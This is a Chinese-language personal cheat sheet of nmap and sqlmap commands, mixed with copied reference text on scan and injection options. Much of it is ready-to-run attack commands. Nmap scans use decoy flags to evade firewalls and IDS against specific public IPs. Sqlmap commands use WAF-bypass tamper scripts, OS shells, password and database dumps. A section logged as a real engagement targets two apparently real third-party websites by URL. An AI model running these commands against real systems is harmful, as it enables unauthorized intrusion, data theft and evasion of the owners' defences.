记录下平常常用的nmap和sqlmap语句!

NMAP

image-20210118141620549

image-20210118142311305

nmap -sV 9969ab83-1446-441e-808a-02a5793215c5.node3.buuoj.cn -p 6379
nmap -sV -F f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn
nmap -sV f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn -T4
tail -f /var/log/apache2/access.log
现在对于我这个小菜鸡!

最简单的方式就是:
namp -A
-A是最详细的!

但是要伪装下:绕过防火墙/IDS/IPS –D RND:10绕过防火墙

nmap –D RND:10 TARGET
不知道被扫描后日志在哪看!


nmap –D RND:10 TARGET -p 1-65535
-F(快速扫描):将仅扫描100 个常用端口。

nmap –D RND:10 TARGET -F

nmap -sS -F 8.131.72.215 平常最快的!

nmap -sS -A –D RND:10 8.131.72.215

常用:
nmap -sV –D RND:10 8.131.72.215

nmap -sP -T4 –D RND:10 8.131.72.0/24

nmap -T4 -n -sS -sV -O –D RND:10 192.168.3.72


nmap -T4 -n -sS -sV -O –D RND:10 154.84.223.65

nmap -sV –D RND:10 154.84.223.65

http://154.84.223.65/


再加上-p指定端口!


端口说明和扫描顺序
除了所有前面讨论的扫描方法, Nmap提供选项说明那些端口被扫描以及扫描是随机还是顺序进行。 默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services 文件中列出的更高的端口在扫描。
端口说明和扫描顺序
除了所有前面讨论的扫描方法, Nmap提供选项说明那些端口被扫描以及扫描是随机还是顺序进行。 默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services 文件中列出的更高的端口在扫描。

-p <port ranges> (只扫描指定的端口)
该选项指明您想扫描的端口,覆盖默认值。 单个端口和用连字符表示的端口范围(如 1-1023)都可以。 范围的开始以及/或者结束值可以被省略, 分别导致Nmap使用1和65535。所以您可以指定 -p-从端口1扫描到65535。 如果您特别指定,也可以扫描端口0。 对于IP协议扫描(-sO),该选项指定您希望扫描的协议号 (0-255)。

当既扫描TCP端口又扫描UDP端口时,您可以通过在端口号前加上T: 或者U:指定协议。 协议限定符一直有效您直到指定另一个。 例如,参数 -p U:53,111,137,T:21-25,80,139,8080 将扫描UDP 端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描 UDP又扫描TCP,您必须指定 -sU ,以及至少一个TCP扫描类型(如 -sS,-sF,或者 -sT)。如果没有给定协议限定符, 端口号会被加到所有协议列表。

-F (快速 (有限的端口) 扫描)
在nmap的nmap-services 文件中(对于-sO,是协议文件)指定您想要扫描的端口。 这比扫描所有65535个端口快得多。 因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描 scan (大约1600个端口)速度差别不是很大。如果您用--datadir选项指定您自己的 小小的nmap-services文件 ,差别会很惊人。

-r (不要按随机顺序扫描端口)
默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的, 但您也可以指定-r来顺序端口扫描。

sqlmap

-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-p username
-v:显示详细的信息,有1-6级,默认为1
-f参数查看指纹信息
--technique 看情况选
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
--technique 看情况选

--dbs:查看目标数据库系统的所有库 -D
--tables -T表名
--columns -C字段名
--dump 内容
--current-db

--random-agent 伪造head头里的浏览器信息!不能直接显示是sqlmap的!

--dbms=mysql --random-agent --level=5 --technique=B -v 3 --sql-shell

>python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-32/?id=1" --tamper=unmagicquotes.py

--dbms=mysql --random-agent --level=5 --technique=B -v 3 --sql-shell
-p id

--is-dba
--os-shell
C:/phpStudy/PHPTutorial/WWW/


admin
a01f77fe0fc32c674ed8438d4cf7c8ef40413aab
python2 sqlmap.py -r search-test.txt --batch

python3和2都可以!

常用的

python2 sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --tamper=unmagicquotes.py --dbms=mysql --random-agent --technique=B -v 3  -p id  –smart –level 3 --threads=5

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --tamper=unmagicquotes.py --dbms=mysql --random-agent --technique=B -v 3 -p id –smart –level 3 --threads=5

--sql-shell


--is-dba
--os-shell

--threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload

-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。

--smart

E:/php/PHPTutorial/WWW

记录一次实战:

http://www.yuebooemt.com/about.php?id=37


python2 sqlmap.py -u "http://www.yuebooemt.com/about.php?id=37" --tamper=hex2char.py --dbms=mysql --random-agent --technique=U -v 3 -p id –smart –level 3 --threads=5 --dbs --batch
--tamper=unmagicquotes.py
python2 sqlmap.py -u "http://www.yuebooemt.com/about.php?id=37" --is-dba
-p "id,user-anget"
--proxy="http://127.0.0.1:8080"


python sqlmap.py -u "http://www.sh-junyu.com.cn/web/newsType.php?id=7" --tamper=hex2char.py --random-agent -v 3 --level=5 --risk=3 --proxy="http://127.0.0.1:8080" --threads=5 --dbs --batch

base64encode

看权限:
--is-dba看看权限 true
--current-user 看看当前用户名称 ‘sa’
--current-db
--privileges
--passwords
--os-shell

--tables -D 数据库 --count
--conut 统计多少条数据

--dump 直接爆全部字段

+ %0a /**/ 代替空格 %20
单引号过滤!可以直接16进制!
0x5c /
看一下参数:
python sqlmap.py -hh

记得俩hh更详细!

post注入
--forms 在目标URL上解析和测试表单。

直接 python sqlmap.py -u "http://www.sh-junyu.com.cn/web/newsType.php?id=7" --from
会自动识别post表单的! 最懒的方式!!🙄

--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"

-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。
--flush-session 清空会话信息。清空缓存

-r REQUESTFILE Load HTTP request from a file
-r c:/1.txt
-r c:\1.txt


指定超时,重试,间隔
sqlmap -u "http://a.qq.com/test" --delay 1 --timeout 15 --retries 2
针对部分网络情况对请求进行策略调整.

delay: 请求和请求之间间隔多少秒, 默认没有间隔,可能会被频率控制拦截
timeout: 请求执行超时时间,单位秒,默认是30s
retries: 当发生超时时候,是否执行重试, 默认3次

四. 三种级别:详细程度/探测/风险

详细程度级别:指注入时sqlmap的界面显示的内容的详细程度,级别程度为0-6,默认为1,指定参数用-v来表示。

sqlmap -u “url” -v 级别

详细等级介绍:

0:只显示python错误以及严重的信息。

1:同时显示基本信息和警告信息。(默认)

2:同时显示debug信息。

3:同时显示注入的payload。

4:同时显示HTTP请求。

5:同时显示HTTP响应头。

6:同时显示HTTP响应页面。

探测等级:指注入的payload语句的复杂程度,级别为1-5,默认为1。

sqlmap -u “url” –level=LEVEL

1.使用哪些payload也影响注入点的选择。

2.GET/POST都会测试,level 2时,会测试cookie,level 3时,会测试User-Agent和Referer。

建议:确定使用那个payload和那个参数作为注入点时,为了保证全面性,建议使用高的level值。

风险等级:指是否要使用具有不同级别风险的测试语句,级别为1-3,默认为1。

sqlmap -u “url” –risk=RISK

默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的QL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

五. 跳过某些参数

01.跳过注入参数

比如使用了很大的level等级,但是有些参数并不需要测试,就可以使用–skip参数。如:

–skip=”user-angetn.referer”

02.跳过URL编码

注入的测试语句不经过url编码发送到服务器上。

–skip-urlencode

03.绕过URL重写规则

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,如:http://xxxxx/info/1018/2347.html,这种格式的网址。在想测试的参数后面加*

例如:

sqlmap.py -u “http://xxxxx/info/1018\*/2347.html"

六. 闭合注入Payload

在有些环境中,需要在注入的payload的前面或者后面加一些字符来闭合符号,以保证payload的正常执行。

如:代码中是这样调用数据库的:

$query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;

这时你就需要–prefix和–suffix参数了,来进行闭合:

sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id –prefix “’)” –suffix “AND (’abc’=’abc”

这样执行的SQL语句变成:

$query = “SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1”;

七. 绕过WAF等设备

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,也可以使用–tamper参数对数据做修改来绕过WAF等设备。

–tamper=TAMPER

可以查看 tamper/ 目录下的有哪些可用的脚本。